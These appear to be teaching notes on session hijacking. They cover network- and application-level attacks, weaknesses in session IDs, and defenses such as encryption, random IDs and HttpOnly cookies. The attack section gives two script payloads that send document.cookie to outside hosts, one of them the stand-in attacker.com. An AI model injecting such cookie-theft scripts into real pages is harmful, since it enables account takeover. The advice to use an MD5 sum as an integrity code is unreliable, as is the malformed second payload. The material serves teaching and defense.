Session Hijacking

Types of Attacks

• Session ID (SID) is a common target for attackers, because it can also be used as authenticators for account login or authorizer for access control. Many users are careless about protection of their SIDs. 
• Session Hijacking is a misuse case where an attacker gains access to the users session by intercepting, predicting or brute-forcing his SID.
• Session Hijacking can be done at two levels: Network Level and Application Level. Network level hijacking involves TCP and UDP sessions, whereas Application level session hijack occurs with HTTP sessions.
• Attacks at the two levels are not unrelated. A successful attack on the network level will allow the attacker to obtain the necessary information to make a direct attack on the user session on the application level.

SID Vulnerability

• Weak algorithm: A SID is not safe when it is generated to be linear and predictable.
• Lack of account lockout mechanism: Without a proper lockout mechnism, SID is vulnerable to brute-force attack.
• Short length: SID can be easily determined if it is not sufficiently long.
• Indefinite expiration date: SID that does not expire will grant attacker unlimited time to hack.
• Weak transmission: SID is subject to be unsafe if it is not being transmitted cryptographically (e.g., SSL).
• Unguarded computer: An attacker can physically access the server or the user's computer to steal the SID.

• SID embedded in the URL is accessible by looking through the browser history or web server logs. 
• SID stored in the hidden form field can be viewed from the HTML code.
• SID stored in the browser cookies can be stolen via XSS.
  

• If the HTTP traffic is sent unencrypted, the attacker can have traffic redirected through his host where he can examine the intercepted data and obtain the SID. 
• SID transmitted via cookies and URL arguments can be sniffed from the unencrypted packets

• HTML injection: The attacker injects malicious HTML code so that the clients browser will execute it and send session data to the hijacker.  For example, inject the following code into an HTML page:

  <script>document.write('<img src="http://hwang.cisdept.cpp.edu/swa/cookies/savehackedcookies.aspx?cookies=' + document.cookie + '">');</script>

• Cross-site scripting: The attacker injects cross-site scripts (i.e., JavaScript) into a public XSS vulnerable site (e.g., messageboard, blog, etc.) or an XSS based email message to redirect a user to the attackers actual target site, thereby allowing cookie leakage or form/submit content leakage. For example:
  

  <script>document.location=http://banking.com/search?name=<script>document.write("<img src=http://attacker.com/ + document.cookie + >)</script></script>

• If the SID appears to be predictable, the attacker can use a brute-force technique to guess it. 
• See a detail documentation at: Session ID Brute Force Exploitation (iALERT white paper)

Defense

• Interception: Strongly encrypted communication will effectively protects against interception.
• Prediction: Cryptographically strong pseudorandom number generators and carefully chosen seeds will help the server prevent prediction of session IDs. 
• Brute-force:  SIDs are immune to brute-force methods if their effective bit-length is large enough with respect to the number of simultaneous sessions.
• Increasing the length of the SID: A 3-digit SID requires 10³-1 attempts to crack, while a 32-digit SID requires 10³² -1 attempts.
• Increased the randomness of the SID: With a larger potential namespace, the value of the cookie or session id should also be made more random. 
• Protecting the integrity of the SID: Employing a message authenticity code, like an MD5 sum of the original session token's value as sent out by the server, and checking it (for every request) at the server-side to verify that it has not been tampered with, will ensures that the original session token sent to the user is the only one received by the application for every subsequent request.
• HttpOnly cookies: You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript.

ASP.NET Defense

• In every GET/POST request, check on the session to see if it matches the browser, ip address, and version in the global.asax file.  Demo
• How to prevent Session Hijacking